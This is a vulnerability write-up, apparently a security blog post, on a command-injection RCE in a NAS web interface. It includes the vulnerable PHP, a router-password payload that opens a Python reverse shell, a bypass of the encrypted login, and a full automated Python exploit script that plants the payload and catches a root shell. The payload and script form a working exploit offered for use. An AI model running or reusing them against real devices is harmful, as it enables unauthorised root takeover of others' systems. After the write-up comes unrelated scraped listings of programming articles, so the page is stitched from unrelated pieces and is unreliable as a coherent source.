.+ ,$value , $match )) {
$App [] = $match [1 ];
} else if (preg_match("/td class=\"indence fixedtdwidth fixedtd\" style=\"position:relative; z-index:1;\">(\S+)<\/td> ,$value , $match )) {
$appDev [] = $match [1 ];
} else if (preg_match("/<\/table>/i" ,$value , $match )) {
break ;
} else {
}
}
unset ($value );
$app_count = count($appDev );
for ($i =0 ; $i <$app_count ; $i ++) {
if (preg_match("/^" .$dev_name ."$/" , $appDev [$i ]) || preg_match("/^" .$synologyNo ."$/" , $App [$i ])) {
$deleDev [] = $App [$i ];
}
}
$dele_count = count($deleDev );
$deleStr ="" ;
for ($i =0 ; $i <$dele_count ; $i ++) {
$app_count = count($App );
$deleStr ="" ;
for ($t = 1 ; $t <= $app_count ; $t ++) {
$deleStr =$deleStr ."&delete" .$t ."=" .$App [$t -1 ];
if (preg_match("/" .preg_quote($App [$t -1 ])."/" , $deleDev [$i ], $m )) {
$deletenow =$t ;
}
}
$szCmd ="/usr/syno/bin/curl -b " .$header ." -u 'admin:" .$pass ."' -d 'app_name=-" .$deleStr ."&device_ip=-&form_action=delete" .$deletenow ."&rn=" .$rn ."' '" .$url ."'" ;
system($szCmd );
$tmparray =$App ;
$App =array ();
for ($j = 0 ; $j < $app_count ; $j ++) {
if ($tmparray [$j ] !== $deleDev [$i ]) {
$App [] = $tmparray [$j ];
}
}
}
exit (0 );
?>
As we can see, the php script above appears to contain the following functionality:
Take inputs passed to the script
Add port forwarding rules via a 3rd party routers web interface
Delete port forwarding rules via a 3rd party routers web interface Interestingly, when a port is deleted the (unsanitised) inputs passed to the script are unsafetly concatenated into a string, then passed to a php system call. If we can control these inputs, we can ‘break out’ of the string and append arbitrary commands to the system call; thereby obtaining RCE on the NAS device.
A first look
The NAS OS has installed by this point, so we can login to the device and take a look around the UI. The UI looks nice and the control panel appears to have many features. One in particular that takes my immediate interest (based on the script above) is ‘External Access’.
The ‘External Access’ option permits users to configure their router and from within the NAS UI they can perform actions on their router such as adding or deleting forwarded ports. Based on the naming convention of our vulnerable script above, the ‘BT: HomeHUB2.0’ looks promising. By using the ‘custom router account’ we can also identify what appears to be the parameters being passed to the script.
Gaining access
Assuming these parameters are passed directly to the php script with no intermediate sanitisation, we can attempt to modify the php system call by ‘breaking out’ of the unsafetly concatenated string and appending our own arbitrary commands.
In particular, the offending line:
$szCmd ="/usr/syno/bin/curl -b " .$header ." -u 'admin:" .$pass ."' -d 'app_name=-" .$deleStr ."&device_ip=-&form_action=delete" .$deletenow ."&rn=" .$rn ."' '" .$url ."'" ;
For example, by changing our router password to a\’;touch /tmp/test, we should ‘break out’ of the initial command and append touch /tmp/test, which will then also be passed to the system call. Thereby writing the file test to the /tmp directory of the NAS device.
Creating files is well and good, but to make the most of an RCE, we want a revere shell.
For example, using python we can set the following password for the HomeHub2.0 router, which will initiate a reverse shell from the NAS device to our system listening at 192.168.50.1 on TCP port 1234 when the affected call is triggered:
b\';python -c ' import socket ,subprocess,os;s =socket .socket (socket .AF_INET,socket .SOCK_STREAM);s .connect (("192.168.50.1" ,1234 ));os.dup2(s .fileno(),0 );os.dup2(s .fileno(),1 );os.dup2(s .fileno(),2 );p=subprocess.call(["/bin/sh" ,"-i" ])
Once the backdoored router password has been added, we simply need to follow the information flow as per the script above to trigger our backdoor and gain a reverse shell:
Login to the NAS UI
Set up the HomeHub2.0 router with the backdoored password
Delete some router rule
Automating the process
Naturally, we want to automate this attack. Unfortunately, the login process to the NAS is not straight forward. When logging in, the username and password (and some additional parameters) are encrypted with both RSA and AES (assumedly to protect against MITM attacks on the network) and then the encrypted data is posted to the server.
Looking at the client side JavaScript files we can identify how this encryption is being performed.
onEncryptionDone: function(a, h, f) {
var c = this.form .findField ("passwd" ),
b = this.form .findField ("__cIpHeRtExT" ),
e = this.form .findField ("client_time" ),
d = "" ,
g = {}
if (a) {
SYNO.Encryption .CipherKey = h.cipherkey
SYNO.Encryption .RSAModulus = h.public _key
SYNO.Encryption .CipherToken = h.ciphertoken
SYNO.Encryption .TimeBias = h.server _time - Math.floor (+new Date() / 1000 )
}
g[c.getName ()] = c.getValue ()
g.key = SYNO.SDS .ForgetPass .ticket
g[e.getName ()] = e.getValue ()
g = SYNO.Encryption .EncryptParam (g)
d = g[h.cipherkey ] || ""
b.setValue (d)
this.initIFrameEvent ()
this.setFormDisabled (true, !!d)
this.form .el .dom .submit ()
},
SYNO.Encryption .EncryptParam = function(g) {
var e, c, b, d = {},
a = {},
f = SYNO.Encryption .GenRandomKey (501 )
if (!SYNO.Encryption .CipherKey || !SYNO.Encryption .RSAModulus || !SYNO.Encryption .CipherToken ) {
return g
}
e = new SYNO.Encryption .RSA ()
e.setPublic (SYNO.Encryption .RSAModulus , "10001" )
d[SYNO.Encryption .CipherToken ] = Math.floor (+new Date() / 1000 ) + SYNO.Encryption .TimeBias
c = e.encrypt (f)
if (!c) {
return g
}
Ext.apply (d, g)
b = SYNO.Encryption .AES .encrypt (Ext.urlEncode (d), f).toString ()
if (!b) {
return g
}
a[SYNO.Encryption .CipherKey ] = JSON.stringify ({
rsa: SYNO.Encryption .Base 64.hex 2b64(c),
aes: b
})
return a
}
During the login process, the client also submits a request to obtain the server’s public key. As seen in the script above, when a response from the server results in a failure, it’s possible to submit the valid login request in plain text. Therefore we don’t need to re-implement this encryption method, we can instead abuse the insecure fall back.
Firstly, we login to the device:
session = requests. session()
data = {'username' :username,'passwd' :password,'OTPcode' :'' ,'__cIpHeRtExT' :'' ,'client_time' :'0' ,'isIframeLogin' :'yes' }
url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % (nas_ip, nas_port)
syno_token = session. post(url, data = data , verify= False ). content. split("\"" )[ 3 ]
headers = {'X-SYNO-TOKEN' : syno_token}
Secondly, we utilise the valid cookie and custom synology headers to set up the vulnerable router with our backdoored password:
backdoor = '"b\\\';python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])"' % (my_ip, my_port)
data = {'router_brand' :'BT' ,'router_model' :'HomeHub2.0' ,'router_version' :'Version8.1.H.G_TypeA' ,'router_protocol' :'http' ,'router_port' :'8000' ,'support_upnp' :'no' ,'support_natpmp' :'no' ,'router_account' :'aaaaa' ,'router_pass' :backdoor,'api' :'SYNO.Core.PortForwarding.RouterConf' ,'method' :'set' ,'version' :'1' }
url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % (nas_ip, nas_port)
session. post(url, data = data , verify= False , headers= headers)
Finally, we trigger the backdoor by removing a port forwarding rule:
{'rules' :'[{" id":0," enable":true," rule_id":" 1 "," ds_port":" 1 "," router_port":" 1 "," router_protocol":" tcp"," serviceid":" "," service_name":false," force":false}]' ,'task_id_suffix' :"PF" ,'api' :'SYNO.Core.PortForwarding.Rules' ,'method' :'save' ,'version' :"1" }
session. post(url, data=data, verify=False, headers=headers)
Pulling it all together
import requests
from pwn import *
requests. packages. urllib3. disable_warnings()
username = 'test'
password = 'test'
nas_ip = '192.168.50.10'
nas_port = 5001
my_ip = '192.168.50.11'
my_port = 1234
print "[+] Accessing device.."
session = requests. session()
data = {'username' :username,'passwd' :password,'OTPcode' :'' ,'__cIpHeRtExT' :'' ,'client_time' :'0' ,'isIframeLogin' :'yes' }
url = 'https://%s:%s/webman/login.cgi?enable_syno_token=yes' % (nas_ip, nas_port)
syno_token = session. post(url, data=data, verify=False).content. split("\"" )[3 ]
headers = {'X-SYNO-TOKEN' : syno_token}
print "[+] Extracted SYNO-TOKEN %s.." % syno_token
backdoor = '" b\\\';python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((" %s",%s));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([" /bin/sh"," -i"])" ' % (my_ip, my_port)
data = {' router_brand' :'BT' ,'router_model' :'HomeHub2.0' ,'router_version' :'Version8.1.H.G_TypeA' ,'router_protocol' :'http' ,'router_port' :'8000' ,'support_upnp' :'no' ,'support_natpmp' :'no' ,'router_account' :'aaaaa' ,'router_pass' :backdoor,'api' :'SYNO.Core.PortForwarding.RouterConf' ,'method' :'set' ,'version' :'1' }
url = 'https://%s:%s/webapi/_______________________________________________________entry.cgi' % (nas_ip, nas_port)
session. post(url, data=data, verify=False, headers=headers)
print "[+] Backdoored external access password.."
data = {'rules' :'[{" id":0," enable":true," rule_id":" 1 "," ds_port":" 1 "," router_port":" 1 "," router_protocol":" tcp"," serviceid":" "," service_name":false," force":false}]' ,'task_id_suffix' :"PF" ,'api' :'SYNO.Core.PortForwarding.Rules' ,'method' :'save' ,'version' :"1" }
session. post(url, data=data, verify=False, headers=headers)
print "[+] Triggering backdoor.."
l = listen(my_port)
l. interactive()
It’s running as root , so that makes privilege escalation a breeze.
Note: The astute readers might notice the vulnerable php script above will only follow the aforementioned data flow when specific patterns are matched (based on the responses received from the routers web interface). Initially, I set up a faux router (based on a real web interface for HomeHub2.0 identified via a Shodan search) to give the correct dummy responses to ensure the data flow was followed as expected. However, this ultimately was not needed to trigger the RCE, so I suspect something even more sinister is going on under the hood; which I did not investigated.
PS: for those of you playing along at home who also want a shell on their NAS. I later found it’s also possible to just enable SSH via the UI.
References
http://rileykidd.com/2016/01/12/synology-nas-dsm-5-2-remote-code-execution-rce/ https://download.xpenology.fr/ http://xpenology.me/downloads/ https://www.youtube.com/watch?v=UW-SQbCd8aw
你可能感兴趣的:(Vulnerability,Analysis)
基于roop/insightface将视频中包含指定人脸的视频片段提取并合并成新视频
阆遤
python roop pytorch insightface
利用insightface.app.FaceAnalysis提最一个视频中包含指定人脸的视频片段,并将其合并成一个新视频,使用“buffalo_l”模型,模型需安装在代码当前目录下的.\models中。需要roop或其他支持pytorch、insightface、moviepy的环境。pytorch安装请见我其他文章。#cython:language_level=3str#-*-coding:ut
统计领域英语专业词汇补充
月亮月亮要去太阳
算法 其他
应统考研复试:多元统计、回归分析、时间序列三大领域专业词汇翻译以下是多元统计、回归分析和时间序列三大统计领域的常见专业词汇的英汉互译,按类别整理:多元统计(MultivariateStatistics)英文术语中文术语MultivariateAnalysis多元分析PrincipalComponentAnalysis(PCA)主成分分析FactorAnalysis因子分析ClusterAnalys
鸿蒙NEXT开发之开屏广告实现
怀男孩
harmonyos harmonyos 华为
1.广告请求服务的实现首先,你需要创建一个广告请求服务来处理广告的加载和展示。你已经在代码中实现了requestAd函数,接下来需要处理广告加载、显示、点击等事件。可以考虑以下结构:1.1创建广告加载函数import{advertising,identifier}from'@kit.AdsKit';import{hilog}from'@kit.PerformanceAnalysisKit';imp
【初学者】请介绍一下指针分析(Pointer Analysis)?
lisw05
计算机科学技术 c语言 指针
李升伟整理指针分析(PointerAnalysis)指针分析(PointerAnalysis)是一种静态程序分析技术,用于确定程序中指针可能指向的内存位置或对象。它是编译器优化、程序验证、漏洞检测和并行化等领域的重要基础。1.指针分析的目标指针分析的主要目标是回答以下问题:指针变量可能指向哪些内存位置或对象?两个指针是否可能指向同一个内存位置(别名分析)?指针的指向关系如何影响程序的行为?通过回答
探索电商大数据的艺术:TBBKAnalysis深度解读与应用推荐
洪显彦Lawyer
探索电商大数据的艺术:TBBKAnalysis深度解读与应用推荐TBBKAnalysis关于淘宝“爆款”数据爬取与分析。具体分析见—项目地址:https://gitcode.com/gh_mirrors/tb/TBBKAnalysis在数字化时代的数据洪流中,每一个细微的数据点都蕴含着洞察未来的机遇。今天,我们要探讨的是一个独特且极具启发性的开源项目——TBBKAnalysis。该项目源自知乎上一
[CISSP] [2] 安全治理原则策略
Мартин.
CISSP 安全 网络
BCPBCP(BusinessContinuityPlan,业务连续性计划)是一套用于在紧急情况下(如自然灾害、网络攻击、系统故障或人为事故)确保关键业务功能能够持续运行或尽快恢复的策略和流程。BCP的核心要素风险评估(RiskAssessment)识别可能影响业务的潜在风险,如自然灾害、网络攻击或供应链中断。业务影响分析(BusinessImpactAnalysis,BIA)评估关键业务流程,确
追踪问题链中问题的上溯和下延
由数入道
AI辅助教学 思维模型 认知框架
一、理解问题链的本质首先,我们需要认识到问题链的本质并非简单的线性关系,而更像是一个复杂的网络或树状结构。向上溯源(RootCauseAnalysis):追溯问题“向上发芽”意味着我们要找到当前问题的根源,即是什么更深层次的问题、假设、前提或信息缺失导致了当前问题的产生。这就像追溯树木的根系,找到滋养它的土壤和水源。向下延展(ConsequenceAnalysis&Exploration):问题“
Spring Boot 启动报错:Field testMapper in *** required a bean of type ‘***‘ that could not be found.
测试开发小白变怪兽
服务端
SpringBoot工程构建时报错:ErrorstartingApplicationContext.Todisplaytheconditionsreportre-runyourapplicationwith'debug'enabled.2021-03-2310:10:52.451ERROR55881---[main]o.s.b.d.LoggingFailureAnalysisReporter:**
ActivityManagerService是什么?有什么作用?以及内部原理——概要!!!!!!
脚踏实地,坚持不懈!
android
下面有关于ActivityManagerService的一些理解的资料,可以参考加深理解ActivityManagerService是什么?有什么作用?https://zhaokaiqiang.gitbook.io/the-analysis-of-android-key-point/android_system/activitymanagerserviceActivityManagerServic
2025-GNU Noise and Vibration Analysis
后端
2025-GNU,Graduatedschool,AdvancedNoiseandVibrationAnalysis(ANVA)Exercise1–MatlabBeforeyougetstartedwiththeexercisesyoumustcompletethefollowingsetuptasks:•DownloadthebasicplateMatlabcodefromthecourseLM
innovus 命令每日精要 | setAnalysisMode:深度解析与高效配置指南
数字后端物理设计知识库
innovus 命令每日精要 人工智能 后端 性能优化
在芯片设计领域,时序分析是确保设计可靠性和性能的关键环节,而Innovus作为业内领先的实现工具,其命令的精准运用直接决定了时序分析的效率与质量。今天,让我们一同深入探究setAnalysisMode这一核心命令,解锁其隐藏的潜力,为芯片设计之旅保驾护航。setAnalysisMode是Innovus工具中用于配置全局时序分析模式的核心命令,其作用涵盖分析类型设置、时钟传播控制、检查方式定义及优化
报表管理器- 新建数据源
shawn08
Reporting Service 报表 sql server 服务器 windows 数据库 数据库服务器
启用此数据源选择该选项可以启用或禁用共享数据源。可以禁用共享数据源,以防对引用该项的所有报表和模型进行处理。连接类型指定用于处理数据源中数据的数据处理扩展插件。报表服务器包含SQLServer、SQLServerAnalysisServices、Oracle、OLEDB、ODBC和XML的数据处理扩展插件。其他数据处理扩展插件可以由第三方供应商提供。连接字符串指定报表服务器用于连接到数据源的连接字
【Python机器学习】2.2. 聚类分析算法理论:K均值聚类(KMeans Analysis)、KNN(K近邻分类)、均值漂移聚类(MeanShift)
SomeB1oody
Python机器学习 机器学习 算法 python 聚类 分类算法
喜欢的话别忘了点赞、收藏加关注哦(关注即可查看全文),对接下来的教程有兴趣的可以关注专栏。谢谢喵!(=・ω・=)2.2.1.K均值聚类(KMeansAnalysis)K均值算法是以空间中K个点为中心进行聚类,对最靠近他们的对象归类,是聚类算法中最为基础但也最为重要的算法。数学原理计算数据点与各簇中心点的距离:dist(xi,ujt){dist}(x_i,u_j^t)dist(xi,ujt)然后根据
elasticsearch analyzer 学习笔记
weixin_40455124
elasticsearch 代码分析及扩展 elasticsearch analyzer token
基本定义analyzer执行将输入字符流分解为token的过程使用场景在indexing的时候,也即在建立索引的时候在searching的时候,也即在搜索时,分析需要搜索的词语analysisCharacterfiltering(字符过滤器):使用字符过滤器转换字符Breakingtextintotokens(把文字转化为标记):将文本分成一组一个或多个标记Tokenfiltering:使用标记过
Gone 从 v1 到 v2 的更新分析
dapeng-大鹏
Gone框架介绍 gone 依赖注入 后端框架
项目地址:https://github.com/gone-io/gone原文地址:https://github.com/gone-io/gone/blob/main/docs/gone-v1-to-v2-analysis.md文章目录1.概念简化与术语变更2.接口重新设计2.1组件定义的简化2.2组件加载方式的统一2.3生命周期方法的优化3.依赖注入逻辑重写3.1注入标签的简化3.2依赖注入查找流
Analysis of QFN package bridging phenomenon and suggestions for improvement
px5213344
pcb工艺
1.OverviewofthebridgingphenomenonBridginginQFNpackagesisparticularlycommonbetweentheinnerrowsofsolderjointsindouble-rowQFNs,andrelativelyrareinsingle-rowQFNs.Bridgingoccurswhensolderispressedagainstan
Common Solder Defects and Root Cause Analysis
px5213344
pcb工艺
Generalguidanceitiswellknownthat60-70%ofallsolderdefectscanbetracedbacktotheprintingdefectssuchassolderbridging,coldslumpandUnevenSolderPasteDepositwhilefinetuningthereflowprofiledobenefitandavoidsome
ES 客户端 API 二次封装思想
bossface
项目 服务器 c++ elasticsearch 数据库
ES客户端API二次封装思想网页端:ip+5601索引创建数据新增数据查询数据删除因为json串会出现在代码中,为了让用户更容易去添加数据所以去封装它。思想:为了让json串变得更加容易添加,封装最主要是为了简化正文的构造过程POST/user/_doc//让用户可以指定索引名称指定索引类型{"settings":{//让用户添加"analysis":{"analyzer":{"ik":{"tok
python anova_使用Python进行双向ANOVA的三种方法
cumei1658
python 机器学习 深度学习 人工智能 数据分析
pythonanovaInanearlierpostIshowedfourdifferenttechniquesthatenablestwo-wayanalysisofvariance(ANOVA)usingPython.Inthispostwearegoingtolearnhowtodotwo-wayANOVAforindependentmeasuresusingPython.在较早的文章中,我
【漫话机器学习系列】129.主成分分析(Principal Component Analysis,PCA)
IT古董
漫话机器学习系列专辑 机器学习 人工智能
主成分分析(PCA):降维与特征提取的强大工具1.什么是主成分分析(PCA)?主成分分析(PrincipalComponentAnalysis,PCA)是一种常见的数据降维技术,主要用于将高维数据投影到低维空间,同时尽可能保留数据的主要信息。PCA通过线性变换,将原始特征变量转换为一组新的变量,这些新变量被称为主成分(PrincipalComponents)。在这张图中,我们可以看到PCA的核心概
piv matlab,piv MATLAB中PIV源代码 - 下载 - 搜珍网
Rachel瑞小秋
piv matlab
piv/piv/articross.matpiv/articross2.matpiv/autopass.mpiv/convf2.mpiv/definewoco.mpiv/EGU2009-13295.PDFpiv/fillmiss.mpiv/finalpass.mpiv/firstone_analysis.mpiv/firstpass.mpiv/fixdigim.mpiv/fq0107.mpiv/f
SCI 1区2区3区图像处理期刊
Vertira
博士 图像处理 人工智能 机器学习
一区1.IEEETRANSACTIONSONPATTERNANALYSISANDMACHINEINTELLIGENCE顶刊:是出版商:IEEE2.IEEETransactionsonMultimedia顶刊:是出版商:IEEE3.InformationFusion顶刊:是出版商:ELSEVIER4.IEEETRANSACTIONSONIMAGEPROCESSING顶刊:是出版商:IEEE5.KNO
数据挖掘|关联分析与Apriori算法详解
皖山文武
数据挖掘 商务智能 数据挖掘 关联分析 Apriori算法 机器学习
数据挖掘|关联分析与Apriori算法1.关联分析2.关联规则相关概念2.1项目2.2事务2.3项目集2.4频繁项目集2.5支持度2.6置信度2.7提升度2.8强关联规则2.9关联规则的分类3.Apriori算法3.1Apriori算法的Python实现3.2基于mlxtend库的Apriori算法的Python实现1.关联分析关联规则分析(Association-rulesAnalysis)是数
【漫话机器学习系列】130.主成分(Principal Components)
IT古董
漫话机器学习系列专辑 机器学习 人工智能 python
主成分(PrincipalComponents)详解1.什么是主成分?主成分(PrincipalComponents,PCs)是数据集中方差最大的线性组合,它是主成分分析(PrincipalComponentAnalysis,PCA)中的核心概念。主成分可以看作是对原始特征的新表述方式,它通过数学变换找到一组新的正交坐标轴,使得数据的主要变化方向与这些轴对齐。简单来说:主成分是数据集中信息量(方差
MMDetection实用工具详解(上):日志分析、结果分析、混淆矩阵
MickeyCV
目标检测 python 深度学习 linux 目标检测
实用工具目录一、日志分析使用方法实际案例二、结果分析pkl结果文件生成使用方法实际案例三、混淆矩阵使用方法实际案例遇到的UserWarning解决方案MMDetection官方除了训练和测试脚本,他们还在mmdetection/tools/目录下提供了许多有用的工具。本帖先为大家重点介绍其中三个简单而实用的工具:日志分析、结果分析、混淆矩阵。一、日志分析tools/analysis_tools/a
拉格朗日插值多项式(Lagrange Interpolation)原理 + Python 代码
Illusionna.
python
原理部分见:拉格朗日插值—Homev1.2023.11文档https://illusionna.readthedocs.io/zh/latest/projects/Mathematics/Numerical%20Analysis/%E6%8B%89%E6%A0%BC%E6%9C%97%E6%97%A5%E6%8F%92%E5%80%BC/Lagrange.html代码依赖第三方库:1.numpy2
Failed to configure a DataSource: ‘url‘ attribute is not specified and no embedded datasource could
clownAdam
Java Java springboot
问题:SpringBoot启动类时报错信息如下:ErrorstartingApplicationContext.Todisplaytheconditionsreportre-runyourapplicationwith'debug'enabled.2025-03-1000:52:29.412ERROR36776---[main]o.s.b.d.LoggingFailureAnalysisRepor
【自然语言处理-NLP】情感分析与主题建模
云博士的AI课堂
深度学习 哈佛博后带你玩转机器学习 自然语言处理 人工智能 情感分析 主题建模 深度学习 机器学习 NLP
以下内容详细剖析了NLP中情感分析(SentimentAnalysis)和主题建模(TopicModeling)的技术与方法,分别展示如何从文本中提取情感倾向和潜在主题,并提供示例代码和讲解,可在Python环境下直接运行。目录情感分析(SentimentAnalysis)1.1概念与方法概览1.2传统机器学习方法1.3深度学习与预训练模型1.4代码示例:基于机器学习的情感分类主题建模(Topic
【17】 傅立叶分析
技术与健康
Excel数据分析与模拟决策 线性回归 excel 数据分析
傅立叶分析(FourierAnalysis)是Excel数据分析工具库中的一种方法,用于将时间序列数据分解为不同频率的正弦波(sinusoidalcomponents)。它特别适用于分析周期性数据或信号处理,帮助用户发现数据中的周期性模式、频率成分及其幅度。傅立叶变换将复杂的时间序列数据转化为频域数据,这意味着它能把数据分解为不同频率的波形,这在物理、金融市场、工程信号处理中有广泛的应用。傅立叶分
社会科学市场博弈和价格预测之时间序列挖掘(Datawhale AI 夏令营)
会飞的Anthony
人工智能 人工智能
深入理解赛题——探索性数据分析首先,我们先介绍一下什么是EDA:探索性数据分析(ExploratoryDataAnalysis,EDA)是一组数据分析技术,旨在总结其主要特征,通常通过可视化手段来实现。EDA的目标是通过数据的统计摘要和图形展示来发现数据的结构、异常值、模式、趋势、关系以及变量之间的相互作用。为什么进行EDA?在现在的数据挖掘类比赛中,模型和方法选择空间往往很小,同时存在不少自动机
JAVA基础
灵静志远
位运算 加载 Date 字符串池 覆盖
一、类的初始化顺序
1 (静态变量,静态代码块)-->(变量,初始化块)--> 构造器
同一括号里的,根据它们在程序中的顺序来决定。上面所述是同一类中。如果是继承的情况,那就在父类到子类交替初始化。
二、String
1 String a = "abc";
JAVA虚拟机首先在字符串池中查找是否已经存在了值为"abc"的对象,根
keepalived实现redis主从高可用
bylijinnan
redis
方案说明
两台机器(称为A和B),以统一的VIP对外提供服务
1.正常情况下,A和B都启动,B会把A的数据同步过来(B is slave of A)
2.当A挂了后,VIP漂移到B;B的keepalived 通知redis 执行:slaveof no one,由B提供服务
3.当A起来后,VIP不切换,仍在B上面;而A的keepalived 通知redis 执行slaveof B,开始
java文件操作大全
0624chenhong
java
最近在博客园看到一篇比较全面的文件操作文章,转过来留着。
http://www.cnblogs.com/zhuocheng/archive/2011/12/12/2285290.html
转自http://blog.sina.com.cn/s/blog_4a9f789a0100ik3p.html
一.获得控制台用户输入的信息
&nbs
android学习任务
不懂事的小屁孩
工作
任务
完成情况 搞清楚带箭头的pupupwindows和不带的使用 已完成 熟练使用pupupwindows和alertdialog,并搞清楚两者的区别 已完成 熟练使用android的线程handler,并敲示例代码 进行中 了解游戏2048的流程,并完成其代码工作 进行中-差几个actionbar 研究一下android的动画效果,写一个实例 已完成 复习fragem
zoom.js
换个号韩国红果果
oom
它的基于bootstrap 的
https://raw.github.com/twbs/bootstrap/master/js/transition.js transition.js模块引用顺序
<link rel="stylesheet" href="style/zoom.css">
<script src=&q
详解Oracle云操作系统Solaris 11.2
蓝儿唯美
Solaris
当Oracle发布Solaris 11时,它将自己的操作系统称为第一个面向云的操作系统。Oracle在发布Solaris 11.2时继续它以云为中心的基调。但是,这些说法没有告诉我们为什么Solaris是配得上云的。幸好,我们不需要等太久。Solaris11.2有4个重要的技术可以在一个有效的云实现中发挥重要作用:OpenStack、内核域、统一存档(UA)和弹性虚拟交换(EVS)。
spring学习——springmvc(一)
a-john
springMVC
Spring MVC基于模型-视图-控制器(Model-View-Controller,MVC)实现,能够帮助我们构建像Spring框架那样灵活和松耦合的Web应用程序。
1,跟踪Spring MVC的请求
请求的第一站是Spring的DispatcherServlet。与大多数基于Java的Web框架一样,Spring MVC所有的请求都会通过一个前端控制器Servlet。前
hdu4342 History repeat itself-------多校联合五
aijuans
数论
水题就不多说什么了。
#include<iostream>#include<cstdlib>#include<stdio.h>#define ll __int64using namespace std;int main(){ int t; ll n; scanf("%d",&t); while(t--)
EJB和javabean的区别
asia007
bean ejb
EJB不是一般的JavaBean,EJB是企业级JavaBean,EJB一共分为3种,实体Bean,消息Bean,会话Bean,书写EJB是需要遵循一定的规范的,具体规范你可以参考相关的资料.另外,要运行EJB,你需要相应的EJB容器,比如Weblogic,Jboss等,而JavaBean不需要,只需要安装Tomcat就可以了
1.EJB用于服务端应用开发, 而JavaBeans
Struts的action和Result总结
百合不是茶
struts Action配置 Result配置
一:Action的配置详解:
下面是一个Struts中一个空的Struts.xml的配置文件
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
&quo
如何带好自已的团队
bijian1013
项目管理 团队管理 团队
在网上看到博客"
怎么才能让团队成员好好干活"的评论,觉得写的比较好。 原文如下: 我做团队管理有几年了吧,我和你分享一下我认为带好团队的几点:
1.诚信
对团队内成员,无论是技术研究、交流、问题探讨,要尽可能的保持一种诚信的态度,用心去做好,你的团队会感觉得到。 2.努力提
Java代码混淆工具
sunjing
ProGuard
Open Source Obfuscators
ProGuard
http://java-source.net/open-source/obfuscators/proguardProGuard is a free Java class file shrinker and obfuscator. It can detect and remove unused classes, fields, m
【Redis三】基于Redis sentinel的自动failover主从复制
bit1129
redis
在第二篇中使用2.8.17搭建了主从复制,但是它存在Master单点问题,为了解决这个问题,Redis从2.6开始引入sentinel,用于监控和管理Redis的主从复制环境,进行自动failover,即Master挂了后,sentinel自动从从服务器选出一个Master使主从复制集群仍然可以工作,如果Master醒来再次加入集群,只能以从服务器的形式工作。
什么是Sentine
使用代理实现Hibernate Dao层自动事务
白糖_
DAO spring AOP 框架 Hibernate
都说spring利用AOP实现自动事务处理机制非常好,但在只有hibernate这个框架情况下,我们开启session、管理事务就往往很麻烦。
public void save(Object obj){
Session session = this.getSession();
Transaction tran = session.beginTransaction();
try
maven3实战读书笔记
braveCS
maven3
Maven简介
是什么?
Is a software project management and comprehension tool.项目管理工具
是基于POM概念(工程对象模型)
[设计重复、编码重复、文档重复、构建重复,maven最大化消除了构建的重复]
[与XP:简单、交流与反馈;测试驱动开发、十分钟构建、持续集成、富有信息的工作区]
功能:
编程之美-子数组的最大乘积
bylijinnan
编程之美
public class MaxProduct {
/**
* 编程之美 子数组的最大乘积
* 题目: 给定一个长度为N的整数数组,只允许使用乘法,不能用除法,计算任意N-1个数的组合中乘积中最大的一组,并写出算法的时间复杂度。
* 以下程序对应书上两种方法,求得“乘积中最大的一组”的乘积——都是有溢出的可能的。
* 但按题目的意思,是要求得这个子数组,而不
读书笔记-2
chengxuyuancsdn
读书笔记
1、反射
2、oracle年-月-日 时-分-秒
3、oracle创建有参、无参函数
4、oracle行转列
5、Struts2拦截器
6、Filter过滤器(web.xml)
1、反射
(1)检查类的结构
在java.lang.reflect包里有3个类Field,Method,Constructor分别用于描述类的域、方法和构造器。
2、oracle年月日时分秒
s
[求学与房地产]慎重选择IT培训学校
comsci
it
关于培训学校的教学和教师的问题,我们就不讨论了,我主要关心的是这个问题
培训学校的教学楼和宿舍的环境和稳定性问题
我们大家都知道,房子是一个比较昂贵的东西,特别是那种能够当教室的房子...
&nb
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系
daizj
oracle rman filesperset PARALLELISM
RMAN配置中通道(CHANNEL)相关参数 PARALLELISM 、FILESPERSET的关系 转
PARALLELISM ---
我们还可以通过parallelism参数来指定同时"自动"创建多少个通道:
RMAN > configure device type disk parallelism 3 ;
表示启动三个通道,可以加快备份恢复的速度。
简单排序:冒泡排序
dieslrae
冒泡排序
public void bubbleSort(int[] array){
for(int i=1;i<array.length;i++){
for(int k=0;k<array.length-i;k++){
if(array[k] > array[k+1]){
初二上学期难记单词三
dcj3sjt126com
sciet
concert 音乐会
tonight 今晚
famous 有名的;著名的
song 歌曲
thousand 千
accident 事故;灾难
careless 粗心的,大意的
break 折断;断裂;破碎
heart 心(脏)
happen 偶尔发生,碰巧
tourist 旅游者;观光者
science (自然)科学
marry 结婚
subject 题目;
I.安装Memcahce 1. 安装依赖包libevent Memcache需要安装libevent,所以安装前可能需要执行 Shell代码 收藏代码
dcj3sjt126com
redis
wget http://download.redis.io/redis-stable.tar.gz
tar xvzf redis-stable.tar.gz
cd redis-stable
make
前面3步应该没有问题,主要的问题是执行make的时候,出现了异常。
异常一:
make[2]: cc: Command not found
异常原因:没有安装g
并发容器
shuizhaosi888
并发容器
通过并发容器来改善同步容器的性能,同步容器将所有对容器状态的访问都串行化,来实现线程安全,这种方式严重降低并发性,当多个线程访问时,吞吐量严重降低。
并发容器ConcurrentHashMap
替代同步基于散列的Map,通过Lock控制。
&nb
Spring Security(12)——Remember-Me功能
234390216
Spring Security Remember Me 记住我
Remember-Me功能
目录
1.1 概述
1.2 基于简单加密token的方法
1.3 基于持久化token的方法
1.4 Remember-Me相关接口和实现
位运算
焦志广
位运算
一、位运算符C语言提供了六种位运算符:
& 按位与
| 按位或
^ 按位异或
~ 取反
<< 左移
>> 右移
1. 按位与运算 按位与运算符"&"是双目运算符。其功能是参与运算的两数各对应的二进位相与。只有对应的两个二进位均为1时,结果位才为1 ,否则为0。参与运算的数以补码方式出现。
例如:9&am
nodejs 数据库连接 mongodb mysql
liguangsong
mongodb mysql node 数据库连接
1.mysql 连接
package.json中dependencies加入
"mysql":"~2.7.0"
执行 npm install
